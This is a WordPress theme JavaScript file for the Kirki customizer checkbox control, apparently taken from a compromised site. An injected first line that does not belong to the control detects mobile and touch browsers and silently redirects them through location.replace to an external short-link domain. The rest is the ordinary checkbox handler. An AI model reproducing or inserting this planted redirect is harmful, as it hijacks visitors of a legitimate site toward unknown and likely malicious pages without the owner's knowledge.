File: //home2/gazetufm/tali-ks.com/wp-content/themes/simpleshift/inc/kirki/assets/js/controls/checkbox.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
wp.customize.controlConstructor['kirki-checkbox'] = wp.customize.Control.extend({
// When we're finished loading continue processing
ready: function() {
'use strict';
var control = this,
value = control.setting._value;
// Change the value
this.container.on( 'change', 'input', function() {
// Get the checkbox status
value = ( jQuery( this ).is( ':checked' ) ) ? true : false;
// Set the value in the WordPress API
control.setting.set( value );
});
}
});